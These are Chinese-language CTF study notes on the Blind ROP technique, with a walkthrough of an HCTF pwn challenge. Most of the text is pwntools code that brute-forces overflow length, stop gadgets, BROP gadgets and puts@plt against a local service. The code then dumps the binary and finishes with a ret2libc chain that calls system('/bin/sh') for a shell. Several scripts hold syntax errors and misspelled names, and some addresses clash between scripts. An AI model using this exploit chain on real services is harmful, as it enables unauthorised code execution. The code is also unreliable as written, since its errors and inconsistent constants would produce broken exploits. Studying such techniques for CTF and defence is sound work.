PWN-BROP筆記

BROP

BROP是在沒有給出題目文件的情況下,只能通過嘗試來確定棧的大小,以及其他函數啥的地址

攻擊條件

程式必須存在溢出漏洞,以便攻擊者可以控制程式流程

進程崩潰以後可以重啟,而且重啟之後的地址與先前的地址一樣

基本思路

首先通過枚舉,判斷棧溢出長度,然後通過 Stack Reading 獲取棧上的數據來獲取canary以及ebp和返回地址

再找到足夠多的 gadget 來控制輸出函數的參數並進行調用,利用輸出函數來dump出程式來找到更多的gadget

棧溢出

從 1 開始暴力枚舉,直到程式崩潰

Stack Reading

通過按照位元組爆破比枚舉數值更快 每個位元組最多有256種可能,所以在32位的情況下,我們最多需要爆破1024次,64位最多爆破2048次

找到canary的值

Blind ROP

調用write函數最方便的方法是系統調用號,然後syscall,然而syscall幾乎不可能

所以可以使用libc_csu_init結尾的一段gadgets來實現,同時可以使用 plt 來獲取write地址,在write的參數裡面,rdx是用來限制輸出長度的,一般不會為0,但是保險起見,可以同時設置一下,但是幾乎沒有 pop rdx 這樣的指令

可以通過 strcmp 來實現,在執行 strcmp 的時候,rdx會被設置為字元串的長度,所以只要找到 strcmp 就可以實現控制rdx

接下來要做的就是:

1、找gadgets

2、找 plt 表,比如 write、strcmp

找gadget

為了能夠找到 gadget,可以分為兩步:

1、stop gadget,當執行這一段程式碼時,程式陷入無限循環,使攻擊者一直保持連接狀態,其根本目的在於告訴攻擊者,其所測試的地址是一段gadget

2、識別gadget,這裡為了方便介紹,定義棧上的三種地址:

  • Probe

探針,也就是我們想要探測的程式碼地址。一般來說,都是64位程式,可以直接從0x400000嘗試,如果不成功,有可能程式開啟了PIE保護,再不濟,就可能是程式是32位了。。這裡我還沒有特別想明白,怎麼可以快速確定遠程的位數。

  • Stop

不會使得程式崩潰的stop gadget的地址。

  • Trap

可以導致程式崩潰的地址,直接寫 p64(0) 就可以

通過不同順序構造一串 payload 就可以達到找到識別正在執行的指令的效果

比如:probe + trap + stop + trap + trap… 可以找到一個 pop xxx;ret 這樣的

probe + trap + trap + trap + trap + trap + trap + stop + trap + trap… 這樣的就可以找到:

pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret

ps. 在每個布局後面都放上 trap 是為了保證崩潰 probe 返回如果不是 stop 能夠立即崩潰

當然,我們還是很難確定它彈的哪一個暫存器,但是,一下子連續彈 6 次的很大可能性就是 brop_gadgets

這裡說的 brop_gadgets 就是之前 ret2csu 的那一部分 gadgets

同時找到的可能是一又個 stop_gadgets,可以把後面原本的 stop_gadgets 改一下,如果程式沒崩潰那就是又找了一個 stop_gadgets

找某些 plt

找到了 brop_gadgets 以後,只需要根據功能,再去遍歷地址,找到能夠實現這個功能的地址就找到了這個函數的 plt

比如:

'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

如果能過把 0x400000 的內容給輸出來就可以找到 put@plt 了

HCTF 出題人失蹤了
測試棧空間大小的腳本:
from pwn import *  i=1  while 1:      try:          p=remote("127.0.0.1",9999)          p.recvuntil("WelCome my friend,Do you know password?n")          p.send('a'*i)          data=p.recv()          p.close()          if not data.startwith('No password'):              return i-1          else:              return i+1      execpt EOFEror:          p.close()          return i-1  size=getsize()  print "size is [%s]"%size

用腳本跑出來是 72

再找一個能讓程式不崩潰的地址(stop_gadgets):

from pwn import *  def getStopGadgets(length):      addr = 0x400000      while 1:          try:              sh = remote('127.0.0.1',9999)              payload = 'a'*length +p64(addr)              sh.recvuntil("password?n")              sh.sendline(payload)              output = sh.recvuntil("password?n")              sh.close()              print("one stop addr: 0x%x" % (addr))              if not output.startswith('WelCome'):                  sh.close()                  addr+=1              else:                  return addr          except Exception:              addr+=1              sh.close()  stop_gadgets = getStopGadgets(72)

stop_gadget 找了好多個,因為我是自己實驗,有二進位文件,就看了一下反彙編,找到的 stop_gadget 地址要麼是一個函數或者 plt 的地址,要麼是一個 ret 的地址

嘗試以後,感覺有兩個: main 或者 _start 的地址比較正常,下面跑出來的是 _start 的

再去找 BROP_gadgets

from pwn import *  def get_brop_gadget(length, stop_gadget, addr):      try:          sh = remote('127.0.0.1', 9999)          sh.recvuntil('password?n')          payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10          sh.sendline(payload)          content = sh.recv()          sh.close()          print content          # stop gadget returns memory          if not content.startswith('WelCome'):              return False          return True      except Exception:          sh.close()          return False  def check_brop_gadget(length, addr):      try:          sh = remote('127.0.0.1', 9999)          sh.recvuntil('password?n')          payload = 'a' * length + p64(addr) + 'a' * 8 * 10          sh.sendline(payload)          content = sh.recv()          sh.close()          return False      except Exception:          sh.close()          return True  length = 72  stop_gadget = 0x4005c0  addr = 0x400000  while 1:      print hex(addr)      if get_brop_gadget(length, stop_gadget, addr):          print 'possible brop gadget: 0x%x' % addr          if check_brop_gadget(length, addr):              print 'success brop gadget: 0x%x' % addr              break      addr += 1

拿到 brop_gadgets

根據之前的:我們可以發現,從找到的 brop_gadget 其中 pop r15;ret 對應的位元組碼為41 5f c3。後兩位元組碼 5f c3 對應的彙編即為 pop rdi;ret

所以,pop rdi;ret 的地址就是 brop_gadget + 9

通過這個 gadget 把 put 的 plt 給打出來

from pwn import *  ##length = getbufferflow_length()  length = 72  ##get_stop_addr(length)  stop_gadget = 0x4005c0  addr = 0x400740  def get_puts_addr(length, rdi_ret, stop_gadget):      addr = 0x400000      while 1:          print hex(addr)          sh = remote('127.0.0.1', 9999)          sh.recvuntil('password?n')          payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)          sh.sendline(payload)          try:              content = sh.recv()              if content.startswith('x7fELF'):                  print 'find puts@plt addr: 0x%x' % addr                  return addr              sh.close()              addr += 1          except Exception:              sh.close()              addr += 1  brop_gadget=0x4007ba  rdi_ret=brop_gadget+9  get_puts_addr(72,rdi_ret,stop_gadget)

拿到了 put 的地址,就可以通過 很多次的 put 把想要的內容給 dump 出來

把程式 DUMP 下來:

from pwn import *  def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):      sh = remote('127.0.0.1', 9999)      payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)      sh.recvuntil('password?n')      sh.sendline(payload)      try:          data = sh.recv()          sh.close()          try:              data = data[:data.index("nWelCome")]          except Exception:              data = data          if data == "":              data = 'x00'          return data      except Exception:          sh.close()          return None  ##length = getbufferflow_length()  length = 72  ##stop_gadget = get_stop_addr(length)  stop_gadget = 0x4005c0  ##brop_gadget = find_brop_gadget(length,stop_gadget)  brop_gadget = 0x4007ba  rdi_ret = brop_gadget + 9  ##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)  puts_plt = 0x400555  addr = 0x400000  result = ""  while addr < 0x401000:      print hex(addr)      data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)      if data is None:          continue      else:          result += data      addr += len(data)  with open('code', 'wb') as f:      f.write(result)

把 dump 下來的文件用 IDA 的二進位模式打開

然後把基址改成 0x400000:

編輯 -> 段 -> 重新設置基址

設置為 0x400000

在 0x400555 處,摁下 c 識別成彙編格式,可以看到 jmp 的地址是:601018h

這樣就得到了 put@got 地址,知道了這個地址,再用 libcsearch 去進行 ret2libc 就可以了

from pwn import *  from LibcSearhcer import *  ##length = getbufferflow_length()  length = 72  ##stop_gadget = get_stop_addr(length)  stop_gadget = 0x4006b6  ##brop_gadget = find_brop_gadget(length,stop_gadget)  brop_gadget = 0x4007ba  rdi_ret = brop_gadget + 9  ##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)  puts_plt = 0x400560  ##leakfunction(length, rdi_ret, puts_plt, stop_gadget)  puts_got = 0x601018  sh = remote('127.0.0.1', 9999)  sh.recvuntil('password?n')  payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)  sh.sendline(payload)  data = sh.recvuntil('nWelCome', drop=True)  puts_addr = u64(data.ljust(8, 'x00'))  libc = LibcSearcher('puts', puts_addr)  libc_base = puts_addr - libc.dump('puts')  system_addr = libc_base + libc.dump('system')  binsh_addr = libc_base + libc.dump('str_bin_sh')  payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)  sh.sendline(payload)  sh.interactive()